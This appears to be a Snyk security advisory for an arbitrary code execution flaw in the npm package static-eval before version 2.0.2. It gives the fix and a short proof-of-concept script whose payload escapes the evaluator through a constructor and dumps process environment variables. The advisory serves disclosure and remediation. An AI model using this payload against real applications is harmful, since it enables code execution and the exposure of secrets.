Arbitrary Code Execution Affecting static-eval package, versions <2.0.2
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-STATICEVAL-173693
- published 14 Feb 2019
- disclosed 3 Jan 2019
- credit Matias Lang
How to fix?
Upgrade static-eval
to version 2.0.2 or higher.
Overview
static-eval evaluates statically-analyzable expressions.
Affected versions of this package are vulnerable to Arbitrary Code Execution. It passes untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
CVSS Scores
version 3.1